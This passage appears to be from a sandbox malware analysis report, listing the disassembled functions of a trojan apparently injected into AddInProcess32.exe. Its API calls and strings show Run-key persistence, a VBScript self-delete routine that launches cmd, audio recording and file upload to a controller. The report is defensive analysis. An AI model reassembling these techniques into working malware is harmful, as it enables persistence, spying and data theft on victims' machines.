                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                        • String ID: """, 0$")$8SG$@qF$@qF$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                                                        • API String ID: 1861856835-1447701601
                                                        • Opcode ID: 794eba10b69094c6990f25edb43bc5f181c5c90267341265794d1b1851e37820
                                                        • Instruction ID: 9f807323933333198641953f201c1fc8368d74e19fdabe041c5449f7db564f80
                                                        • Opcode Fuzzy Hash: 794eba10b69094c6990f25edb43bc5f181c5c90267341265794d1b1851e37820
                                                        • Instruction Fuzzy Hash: 8791B0716082005AC315FB62D8529AF77A8AFD4309F10443FB64AA71E3EF7C9D49C65E
                                                        Function 0040D0D1 Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 260registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                          • Part of subcall function 0041288B: TerminateProcess.KERNEL32(00000000,?,0040D84A), ref: 0041289B
                                                          • Part of subcall function 0041288B: WaitForSingleObject.KERNEL32(000000FF,?,0040D84A), ref: 004128AE
                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1E0
                                                        • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D1F3
                                                        • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D223
                                                        • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D232
                                                          • Part of subcall function 0040B8E7: TerminateThread.KERNEL32(0040A2B8,00000000,00000000,?,0040D47D,?,00000000), ref: 0040B8F6
                                                          • Part of subcall function 0040B8E7: UnhookWindowsHookEx.USER32(004750F0), ref: 0040B902
                                                          • Part of subcall function 0040B8E7: TerminateThread.KERNEL32(0040A2A2,00000000,?,0040D47D,?,00000000), ref: 0040B910
                                                          • Part of subcall function 0041BA09: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041BA30
                                                        • ShellExecuteW.SHELL32(00000000,open,00000000,00466478,00466478,00000000), ref: 0040D44D
                                                        • ExitProcess.KERNEL32 ref: 0040D454
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                        • String ID: ")$.vbs$8SG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$pth_unenc$wend$while fso.FileExists("$xpF
                                                        • API String ID: 3797177996-2483056239
                                                        • Opcode ID: ec03f19f21437d373cc1d96c9dd98b1915d83cb06e604dc6ef52706e93ab3566
                                                        • Instruction ID: f7f00373e35faeae073ffedb9d5543756e5675edee5c5b567d0d61755fae189b
                                                        • Opcode Fuzzy Hash: ec03f19f21437d373cc1d96c9dd98b1915d83cb06e604dc6ef52706e93ab3566
                                                        • Instruction Fuzzy Hash: 6181AF716082405AC315FB62D8529AF77A8AFD0308F10483FB58A671E3EF7C9E49C65E
                                                        Function 004124B0 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 190synchronizationsleepfileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,004750E4,00000003), ref: 004124CF
                                                        • ExitProcess.KERNEL32(00000000), ref: 004124DB
                                                        • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00412555
                                                        • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412564
                                                        • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041256F
                                                        • CloseHandle.KERNEL32(00000000), ref: 00412576
                                                        • GetCurrentProcessId.KERNEL32 ref: 0041257C
                                                        • PathFileExistsW.SHLWAPI(?), ref: 004125AD
                                                        • GetTempPathW.KERNEL32(00000104,?), ref: 00412610
                                                        • GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 0041262A
                                                        • lstrcatW.KERNEL32(?,.exe), ref: 0041263C
                                                          • Part of subcall function 0041C482: CreateFileW.KERNEL32(00000004,40000000,00000000,00000000,00000002,00000080,00000000,00000000,00000000,?,00000004,00000000,0041C5A1,00000000,00000000,00000000), ref: 0041C4C1
                                                        • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 0041267C
                                                        • Sleep.KERNEL32(000001F4), ref: 004126BD
                                                        • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 004126D2
                                                        • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004126DD
                                                        • CloseHandle.KERNEL32(00000000), ref: 004126E4
                                                        • GetCurrentProcessId.KERNEL32 ref: 004126EA
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
                                                        • String ID: .exe$8SG$WDH$exepath$open$temp_
                                                        • API String ID: 2649220323-436679193
                                                        • Opcode ID: ad55fade47a44d5a96cc11b86df2472168e9c7caf5a37438c9269d8872241baf
                                                        • Instruction ID: ea0e71dbd1735df2f0ffa6a76a18ae54bfb239dee3d1740714ca762960b89f4c
                                                        • Opcode Fuzzy Hash: ad55fade47a44d5a96cc11b86df2472168e9c7caf5a37438c9269d8872241baf
                                                        • Instruction Fuzzy Hash: 4C51C871A00215BBDB10ABA09C99EFE336D9B04715F1041ABF501E71D2EF7C8E858A5D
                                                        Function 0041B0D8 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041B1CD
                                                        • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041B1E1
                                                        • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,004660B4), ref: 0041B209
                                                        • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00474EE0,00000000), ref: 0041B21F
                                                        • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041B260
                                                        • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041B278
                                                        • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041B28D
                                                        • SetEvent.KERNEL32 ref: 0041B2AA
                                                        • WaitForSingleObject.KERNEL32(000001F4), ref: 0041B2BB
                                                        • CloseHandle.KERNEL32 ref: 0041B2CB
                                                        • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041B2ED
                                                        • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041B2F7
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                                                        • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
                                                        • API String ID: 738084811-2094122233
                                                        • Opcode ID: d561e535e20e94d4d32498695f90d41e23c390ecef7d03d0c81b33d87c062984
                                                        • Instruction ID: 904a2ea9ee052b7cd0d2885f28b370526ea16529c5f4723dacad6ab52bd59ce6
                                                        • Opcode Fuzzy Hash: d561e535e20e94d4d32498695f90d41e23c390ecef7d03d0c81b33d87c062984
                                                        • Instruction Fuzzy Hash: 015193B12842056ED314B731DC96ABF779CDB80359F10053FB246621E2EF789D498AAE
                                                        Function 00401A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                                                        • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401B03
                                                        • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401B13
                                                        • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401B23
                                                        • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401B33
                                                        • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401B43
                                                        • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B54
                                                        • WriteFile.KERNEL32(00000000,00472AAA,00000002,00000000,00000000), ref: 00401B65
                                                        • WriteFile.KERNEL32(00000000,00472AAC,00000004,00000000,00000000), ref: 00401B75
                                                        • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401B85
                                                        • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B96
                                                        • WriteFile.KERNEL32(00000000,00472AB6,00000002,00000000,00000000), ref: 00401BA7
                                                        • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401BB7
                                                        • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401BC7
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: File$Write$Create
                                                        • String ID: RIFF$WAVE$data$fmt
                                                        • API String ID: 1602526932-4212202414
                                                        • Opcode ID: bdde9fe629d6d0b3cb01441b1d036ed99aff71c5e0b2c5a0236a53ffdd76988e
                                                        • Instruction ID: e437df56db769974f3bb03b9acf3047b6271bea3308615ff466a61b001f8e6b8
                                                        • Opcode Fuzzy Hash: bdde9fe629d6d0b3cb01441b1d036ed99aff71c5e0b2c5a0236a53ffdd76988e
                                                        • Instruction Fuzzy Hash: D1413F72644218BAE210DB51DD85FBB7FECEB89B50F40441AFA44D60C0E7A5E909DBB3
                                                        Function 004072AB Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe,00000001,00407688,C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe,00000003,004076B0,004752D8,00407709), ref: 004072BF
                                                        • GetProcAddress.KERNEL32(00000000), ref: 004072C8
                                                        • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 004072DD
                                                        • GetProcAddress.KERNEL32(00000000), ref: 004072E0
                                                        • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 004072F1
                                                        • GetProcAddress.KERNEL32(00000000), ref: 004072F4
                                                        • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 00407305
                                                        • GetProcAddress.KERNEL32(00000000), ref: 00407308
                                                        • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 00407319
                                                        • GetProcAddress.KERNEL32(00000000), ref: 0040731C
                                                        • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 0040732D
                                                        • GetProcAddress.KERNEL32(00000000), ref: 00407330
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: AddressHandleModuleProc
                                                        • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                                                        • API String ID: 1646373207-4283035339
                                                        • Opcode ID: f3da3711bb85931ca03a42678d4c0c1881451176f862cc8ba737a85fa656c6e8
                                                        • Instruction ID: 405170eedd050388d8f538cead316ce70cca9a1d875d15a5a69166cce564cbe9
                                                        • Opcode Fuzzy Hash: f3da3711bb85931ca03a42678d4c0c1881451176f862cc8ba737a85fa656c6e8
                                                        • Instruction Fuzzy Hash: 0A0152A0E4431676D711AF7AAC44D577E9D9E41351311487BB405E2292EEBCE800CD6E
                                                        Function 0040CE34 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 203fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _wcslen.LIBCMT ref: 0040CE42
                                                        • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040CE5B
                                                        • CopyFileW.KERNEL32(C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe,00000000,00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe), ref: 0040CF0B
                                                        • _wcslen.LIBCMT ref: 0040CF21
                                                        • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040CFA9
                                                        • CopyFileW.KERNEL32(C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe,00000000,00000000), ref: 0040CFBF
                                                        • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFFE
                                                        • _wcslen.LIBCMT ref: 0040D001
                                                        • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040D018
                                                        • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004750E4,0000000E), ref: 0040D068
                                                        • ShellExecuteW.SHELL32(00000000,open,00000000,00466478,00466478,00000001), ref: 0040D086
                                                        • ExitProcess.KERNEL32 ref: 0040D09D
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                                                        • String ID: 6$C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe$del$open
                                                        • API String ID: 1579085052-1506045317
                                                        • Opcode ID: cf3ade877b167e70c46e53b810f9fed9df6f55308ddf96a6d8fe48dcf536bada
                                                        • Instruction ID: 98553dc1b0994f0aa09194d7cf3a18af63584d9ff732256a229fdfb73b573f5c
                                                        • Opcode Fuzzy Hash: cf3ade877b167e70c46e53b810f9fed9df6f55308ddf96a6d8fe48dcf536bada
                                                        • Instruction Fuzzy Hash: 3151E820208302ABD615B7359C92A6F679D9F8471DF00443FF60AA61E3EF7C9D05866E
                                                        Function 0041C0AC Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • lstrlenW.KERNEL32(?), ref: 0041C0C7
                                                        • _memcmp.LIBVCRUNTIME ref: 0041C0DF
                                                        • lstrlenW.KERNEL32(?), ref: 0041C0F8
                                                        • FindFirstVolumeW.KERNEL32(?,00000104,?), ref: 0041C133
                                                        • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041C146
                                                        • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041C18A
                                                        • lstrcmpW.KERNEL32(?,?), ref: 0041C1A5
                                                        • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041C1BD
                                                        • _wcslen.LIBCMT ref: 0041C1CC
                                                        • FindVolumeClose.KERNEL32(?), ref: 0041C1EC
                                                        • GetLastError.KERNEL32 ref: 0041C204
                                                        • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041C231
                                                        • lstrcatW.KERNEL32(?,?), ref: 0041C24A
                                                        • lstrcpyW.KERNEL32(?,?), ref: 0041C259
                                                        • GetLastError.KERNEL32 ref: 0041C261
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                                                        • String ID: ?
                                                        • API String ID: 3941738427-1684325040
                                                        • Opcode ID: a0ce836f87bdb73d1aed96e44626d16fc1f948222461cff8e144d7328d36a715
                                                        • Instruction ID: 8d48ee17a24f37a9bc83e71ffc922dd471ae74eb47091415c6e266b1ff6a60c4
                                                        • Opcode Fuzzy Hash: a0ce836f87bdb73d1aed96e44626d16fc1f948222461cff8e144d7328d36a715
                                                        • Instruction Fuzzy Hash: B541A671584316EBD720DFA0DC889DBB7ECEB84745F00092BF545D2162EB78CA88CB96
                                                        Function 00414DC1 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 109libraryloaderCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414E10
                                                        • LoadLibraryA.KERNEL32(?), ref: 00414E52
                                                        • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E72
                                                        • FreeLibrary.KERNEL32(00000000), ref: 00414E79
                                                        • LoadLibraryA.KERNEL32(?), ref: 00414EB1
                                                        • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414EC3
                                                        • FreeLibrary.KERNEL32(00000000), ref: 00414ECA
                                                        • GetProcAddress.KERNEL32(00000000,?), ref: 00414ED9
                                                        • FreeLibrary.KERNEL32(00000000), ref: 00414EF0
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Library$AddressFreeProc$Load$DirectorySystem
                                                        • String ID: EIA$\ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                                                        • API String ID: 2490988753-3346362794
                                                        • Opcode ID: bff3b13f7ac9eea3f878ccf145141800db562e87b1258dd51974eed62fb821cf
                                                        • Instruction ID: 3d65f6a93fba2a0b2eac8854c7d2b2934d6e6a161d7d6dc9994b6ec54a408268
                                                        • Opcode Fuzzy Hash: bff3b13f7ac9eea3f878ccf145141800db562e87b1258dd51974eed62fb821cf
                                                        • Instruction Fuzzy Hash: 5E31C4B1905315A7D7209F65CC84DDF76DCAB84754F004A2AF944A3210D738D985CBAE
                                                        Function 0044F4AD Relevance: 25.9, APIs: 17, Instructions: 419COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free$EnvironmentVariable$_wcschr
                                                        • String ID:
                                                        • API String ID: 3899193279-0
                                                        • Opcode ID: 8496763b0818b5098030034dcc69127a0bf1f152158b2efe3c03734e132739af
                                                        • Instruction ID: 2409d22e097b45b84bdb59948eb4ebc1cd1141af37d2d18b4001dba56dac1aed
                                                        • Opcode Fuzzy Hash: 8496763b0818b5098030034dcc69127a0bf1f152158b2efe3c03734e132739af
                                                        • Instruction Fuzzy Hash: E3D135B1D003006FFB24AF799D82A6B7BA8EF01314F05417FE945A7382EB7D99098759
                                                        Function 00412AEF Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 482sleepfileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00412B08
                                                          • Part of subcall function 0041BA09: GetCurrentProcessId.KERNEL32(00000000,?,?,?,?,?,?,0040407C), ref: 0041BA30
                                                          • Part of subcall function 004185A3: CloseHandle.KERNEL32(004040F5,?,?,004040F5,00465E84), ref: 004185B9
                                                          • Part of subcall function 004185A3: CloseHandle.KERNEL32(00465E84,?,?,004040F5,00465E84), ref: 004185C2
                                                        • Sleep.KERNEL32(0000000A,00465E84), ref: 00412C5A
                                                        • Sleep.KERNEL32(0000000A,00465E84,00465E84), ref: 00412CFC
                                                        • Sleep.KERNEL32(0000000A,00465E84,00465E84,00465E84), ref: 00412D9E
                                                        • DeleteFileW.KERNEL32(00000000,00465E84,00465E84,00465E84), ref: 00412E00
                                                        • DeleteFileW.KERNEL32(00000000,00465E84,00465E84,00465E84), ref: 00412E37
                                                        • DeleteFileW.KERNEL32(00000000,00465E84,00465E84,00465E84), ref: 00412E73
                                                        • Sleep.KERNEL32(000001F4,00465E84,00465E84,00465E84), ref: 00412E8D
                                                        • Sleep.KERNEL32(00000064), ref: 00412ECF
                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                                                        • String ID: /stext "$0TG$0TG$NG$NG
                                                        • API String ID: 1223786279-2576077980
                                                        • Opcode ID: 8b5758fc960045b70db6b1621d1f1f5248a15739f774e2f35fdd395e03aad00d
                                                        • Instruction ID: 10d3359c81a21c2239512d2238f4034584c87ebec4848cfd83014516dee20f06
                                                        • Opcode Fuzzy Hash: 8b5758fc960045b70db6b1621d1f1f5248a15739f774e2f35fdd395e03aad00d
                                                        • Instruction Fuzzy Hash: 2F0268315083414AC325FB62D891AEFB3E5AFD4348F50483FF58A931E2EF785A49C65A
                                                        Function 0041C720 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041C742
                                                        • RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 0041C786
                                                        • RegCloseKey.ADVAPI32(?), ref: 0041CA50
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: CloseEnumOpen
                                                        • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
                                                        • API String ID: 1332880857-3714951968
                                                        • Opcode ID: f13192da4e66231cc3a913cdaba6528dc2f099d68fe13da123ac92ab36a9ee38
                                                        • Instruction ID: 8204223968f620e226549da85b9b34a309c849e8d9bbed411749b7727356edba
                                                        • Opcode Fuzzy Hash: f13192da4e66231cc3a913cdaba6528dc2f099d68fe13da123ac92ab36a9ee38
                                                        • Instruction Fuzzy Hash: 3E8133311082459BC325EF11D851EEFB7E8BF94309F10492FB589921A2FF74AE49CA5A
                                                        Function 0041D620 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041D66B
                                                        • GetCursorPos.USER32(?), ref: 0041D67A
                                                        • SetForegroundWindow.USER32(?), ref: 0041D683
                                                        • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041D69D
                                                        • Shell_NotifyIconA.SHELL32(00000002,00474B48), ref: 0041D6EE
                                                        • ExitProcess.KERNEL32 ref: 0041D6F6
                                                        • CreatePopupMenu.USER32 ref: 0041D6FC
                                                        • AppendMenuA.USER32(00000000,00000000,00000000,Close), ref: 0041D711
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: Menu$PopupWindow$AppendCreateCursorExitForegroundIconNotifyProcProcessShell_Track
                                                        • String ID: Close
                                                        • API String ID: 1657328048-3535843008
                                                        • Opcode ID: 2cdbc08d807d068952302bab703dbbbb7de86244cd36d8f377370d21a5bc842f
                                                        • Instruction ID: ffebe08b42ddc2cad69fc5dc181b4667ce265f065f51bc56e4a7814a85689449
                                                        • Opcode Fuzzy Hash: 2cdbc08d807d068952302bab703dbbbb7de86244cd36d8f377370d21a5bc842f
                                                        • Instruction Fuzzy Hash: 2D213BB1544209FFDF155FA4ED0EAAA3F35EB08302F000125F909951B2D779EDA1EB19
                                                        Function 00445DD7 Relevance: 22.8, APIs: 15, Instructions: 296COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: _free$Info
                                                        • String ID:
                                                        • API String ID: 2509303402-0
                                                        • Opcode ID: 75151fbced3465edae0101cd141662f582d879f03032417287744dbc83fd132d
                                                        • Instruction ID: 03d8b0dccc9171d7b4ee81f85837dfa1205ba0d7832ce976ccf3d084d520ac26
                                                        • Opcode Fuzzy Hash: 75151fbced3465edae0101cd141662f582d879f03032417287744dbc83fd132d
                                                        • Instruction Fuzzy Hash: AFB1CE719002059FEB21DF69C881BEEBBF4BF09304F15842EF495A7242DB79AC458B69
                                                        Function 00408BB5 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 328fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,000000B6), ref: 00408D1E
                                                        • GetFileSizeEx.KERNEL32(00000000,?), ref: 00408D56
                                                        • __aulldiv.LIBCMT ref: 00408D88
                                                          • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                                          • Part of subcall function 0041B580: GetLocalTime.KERNEL32(00000000), ref: 0041B59A
                                                        • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 00408EAB
                                                        • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 00408EC6
                                                        • CloseHandle.KERNEL32(00000000), ref: 00408F9F
                                                        • CloseHandle.KERNEL32(00000000,00000052), ref: 00408FE9
                                                        • CloseHandle.KERNEL32(00000000), ref: 00409037
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000016.00000002.2401718078.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_22_2_400000_AddInProcess32.jbxd
                                                        Yara matches
                                                        Similarity
                                                        • API ID: File$CloseHandle$CreateLocalPointerReadSizeTime__aulldivsend
                                                        • String ID: ReadFile error$SetFilePointerEx error$Uploading file to Controller: $NG
                                                        • API String ID: 3086580692-2582957567
                                                        • Opcode ID: 2a6cbd74b7f1d7262aabe967babe0c7563b8d160d0352d0a7d413315700012c3
